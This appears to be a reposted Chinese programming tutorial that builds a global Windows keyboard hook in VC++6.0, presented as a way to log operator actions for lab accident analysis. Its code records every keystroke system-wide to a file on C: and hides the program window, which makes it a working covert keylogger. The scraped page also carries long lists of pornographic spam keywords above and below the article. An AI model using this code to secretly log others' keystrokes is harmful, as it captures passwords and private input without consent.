日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

利用键盘钩子捕获Windows键盘动作

發布時間:2025/3/15 windows 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 利用键盘钩子捕获Windows键盘动作 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

引言

  在科研生產中對研制、調試操作的記錄是非常有必要而且是有很重要價值的。通過對記錄信息的分析,可以在事故發生后準確的分析出事故的起因、操作是否存在失誤等許多重要線索。通常需要記錄的信息是多種多樣的,如環境溫度記錄、軟件運行記錄、文件訪問記錄等等。這里將以鍵盤信息記錄為例來講述類似的實驗信息自動記錄的一般實現方法。

  由于需要記錄當前系統下所有應用程序的鍵盤錄入記錄,因此必須采取某種特殊的技術來實現本進程(監視程序)對外部進程鍵盤操作信息的獲取。這種技術便是本文將要論述的核心--系統全局鉤子。本文下面將對Win32平臺下全局鉤子的運行機制進行介紹并給出了一個具體的由VC++6.0編寫的捕獲鍵盤動作的鍵盤鉤子示例程序。?

  系統鉤子和DLL

  鉤子的本質是一段用以處理系統消息的程序,通過系統調用,將其掛入系統。鉤子的種類有很多,每種鉤子可以截獲并處理相應的消息,每當特定的消息發出,在到達目的窗口之前,鉤子程序先行截獲該消息、得到對此消息的控制權。此時在鉤子函數中就可以對截獲的消息進行加工處理,甚至可以強制結束消息的傳遞。

  在本程序中我們需要捕獲在任意窗口上的鍵盤輸入,這就需要采用全局鉤子以便攔截整個系統的消息,而全局鉤子函數必須以DLL(動態連接庫)為載體進行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標準靜態鏈接MFC DLL)、Regular using the shared MFC DLL(標準動態鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。 在本程序中為方便起見采用了標準靜態連接MFC DLL。

  鍵盤鉤子程序示例

  本示例程序用到全局鉤子函數,程序分兩部分:可執行程序KeyKook和動態連接庫LaunchDLL。首先創建一個MFC AppWizard(DLL)工程,并選擇Regular statically linked to MFC DLL(標準靜態鏈接MFC DLL)選項,以建立MFC擴展動態連接庫LaunchDLL.dll。之后,在相應的頭文件中添加宏定義和待導出函數的聲明:?

#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
 public:
  CLaunchDLLApp();
  //{{AFX_VIRTUAL(CLaunchDLLApp)
  //}}AFX_VIRTUAL
  //{{AFX_MSG(CLaunchDLLApp)
  // NOTE - the ClassWizard will add and remove member functions here.
  // DO NOT EDIT what you see in these blocks of generated code !
  //}}AFX_MSG
 DECLARE_MESSAGE_MAP()
};


  同時在實現文件中添加全局變量Hook和全局函數LauncherHook()、SaveLog():

HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);


  最后,完成以上提到的這幾個函數的具體編碼實現:

CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
 Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHook,theApp.m_hInstance,0);
}


  在此我們實現了Windows的系統鉤子的安裝,首先要調用SDK中的API函數SetWindowsHookEx()來安裝這個鉤子函數,其原型是:?

HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);


  其中,第一個參數指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關心鍵盤操作所以設定為WH_KEYBOARD;第二個參數標識鉤子函數的入口地址,當鉤子鉤到任何消息后便調用這個函數,即當不管系統的哪個窗口有鍵盤輸入馬上會引起LauncherHook的動作;第三個參數是鉤子函數所在模塊的句柄,我們可以很簡單的設定其為本應用程序的實例句柄;最后一個參數是鉤子相關函數的ID用以指定想讓鉤子去鉤哪個線程,為0時則攔截整個系統的消息,在本程序中鉤子需要為全局鉤子,故設定為0。

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
 LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
 if(nCode==HC_ACTION)
 {
  if(lParam & 0x80000000)
  {
   char c[1];
   c[0]=wParam;
   SaveLog(c);
  }
 }
 return Result;
}


  雖然調用CallNextHookEx()是可選的,但調用此函數的習慣是很值得推薦的;否則的話,其他安裝了鉤子的應用程序將不會接收到鉤子的通知而且還有可能產生不正確的結果,所以我們應盡量調用該函數除非絕對需要阻止其他程序獲取通知。?

void SaveLog(char* c)
{
 CTime tm=CTime::GetCurrentTime();
 CString name;
 name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
 CFile file;
 if(!file.Open(name,CFile::modeReadWrite))
 {
  file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
 }
 file.SeekToEnd();
 file.Write(c,1);
 file.Close();
}


  當有鍵彈起的時候就通過此函數將剛彈起的鍵保存到記錄文件中從而實現對鍵盤進行監控記錄的目的。編譯完成便可得到運行時所需的鍵盤鉤子的動態連接庫和進行靜態鏈接時用到的lib庫。

  下面開始編寫調用此動態連接庫的主程序,并實現最后的集成。另外創建一個單文檔應用程序,把所需的動態鏈接庫頭文件、lib庫復制到工程目錄中,將動態鏈接庫復制到Debug目錄下。然后鏈接DLL庫:在"Project","Settings…"的"Link"屬性頁內,在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來,最后在視類的源文件KeyHook.cpp中加入對其的引用:

#include "LaunchDLL.h"


  這樣我們就可以象使用本工程內的 函數一樣使用動態連接庫LaunchDLL.dll中的所有導出函數了。接下來在視類重載虛函數OnInitialUpdate(),并添加代碼完成對鍵盤鉤子的安裝:

InstallLaunchEv();


  到此為止其實已經完成了所有的功能,但由于本程序是作為一個后臺監控軟件運行,因此還應當采取其他措施以隱藏其程序界面。這只需在應用程序類CkeyHookApp的InitInstance()函數中將m_pMainWnd->ShowWindow(SW_SHOW)改為m_pMainWnd->ShowWindow(SW_HIDE)即可。

  小結


  編譯運行程序,運行起來之后并無什么現象,但通過Alt+Ctrl+Del在關閉程序對話框內可以找到我們剛編寫完畢的程序"KeyHook",隨便在什么程序中通過鍵盤輸入字符,然后打開記錄文件,我們會發現:通過鍵盤鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。系統鉤子具有相當強大的功能,通過這種技術可以對幾乎所有的Windows系統消息進行攔截、監視、處理。這種技術廣泛應用于各種自動監控系統中。本文所述程序在Windows 2000 Professional + SP4下由Microsoft?Visual C++?6.0編譯調試通過。

轉載于:https://www.cnblogs.com/MaxWoods/archive/2013/06/15/3137112.html

總結

以上是生活随笔為你收集整理的利用键盘钩子捕获Windows键盘动作的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国产精品99精品无码视亚 | 欧美色图一区二区 | 亚洲色图另类小说 | 大白屁股一区二区视频 | 在线看黄色的网站 | 国产18av | 在线看成人 | 成人做爰100 | 一级大片儿 | 国产奶水涨喷在线播放 | 久久久久久久久99精品 | 日本在线h| 色哟哟日韩精品 | 欧美特黄视频 | brazzers精品成人一区 | 色婷婷av久久久久久久 | 女大学生的家政保姆初体验 | 最全aⅴ番号库 | 97免费在线 | 天天想你在线观看完整版电影免费 | 中国一级黄色 | 中文自拍 | 深夜福利网站 | 久久99草 | 少妇人妻偷人精品一区二区 | 哪里可以看毛片 | 91国内| 狠狠草视频 | 亚洲色图p | 国产成人久久婷婷精品流白浆 | 五月天堂婷婷 | 羞辱极度绿帽vk | 交专区videossex非洲 | 动漫美女靠逼 | 欧美丰满少妇 | 伊人手机视频 | 天天毛片| 国产91一区二区三区在线精品 | 国产成人综合在线观看 | mm1313亚洲国产精品无码试看 | 中文天堂在线播放 | 色综合免费视频 | 欧美熟妇精品一区二区蜜桃视频 | 一道本在线视频 | 亚洲va久久久噜噜噜无码久久 | 国产乱人乱偷精品视频a人人澡 | 黄色小视频链接 | 日本三级456 | 亚洲69| 午夜肉伦伦影院 | 亚洲欧美天堂 | 久久精品国产精品亚洲色婷婷 | 暖暖日本在线 | 天堂中文视频在线 | 超碰女人| 性高潮网站| 深夜啪啪 | 疯狂做受xxxx高潮人妖 | 亚洲熟妇无码久久精品 | 美女又爽又黄又免费 | 久久久久久久九九九九 | 黄瓜视频在线观看 | caoporm超碰 | 日韩精品一区二区三区中文字幕 | 欧美一级片在线观看 | 农民工hdxxxx性中国 | 天天做天天操 | 成人做爰9片免费视频 | 中文字幕www | 三级性视频 | 天堂精品一区 | 久久久国产精品一区 | 中文字幕人妻一区二区三区 | www.xxxx欧美 | 国产成人精品久久 | 九九资源网 | 91丨九色 | 毛片看看 | 日本特级黄色大片 | 91精品国产乱码久久久张津瑜 | 黑人操日本女人 | 91精品国产乱码久久久久久久久 | asian日本肉体pics | 欧美中文在线观看 | 国产精品视频播放 | 韩国av中文字幕 | 国产一级伦理片 | 欧美成人午夜精品久久久 | 激情视频一区二区三区 | 黑巨茎大战欧美白妞 | 日本japanese极品少妇 | 亚洲一二三四在线 | ww成人 | 天天综合亚洲 | 亚洲伦理在线观看 | 超碰神马| 国产精品久久久久久久久免费桃花 | 97人人澡人人爽人人模亚洲 | 国产丝袜一区二区三区 |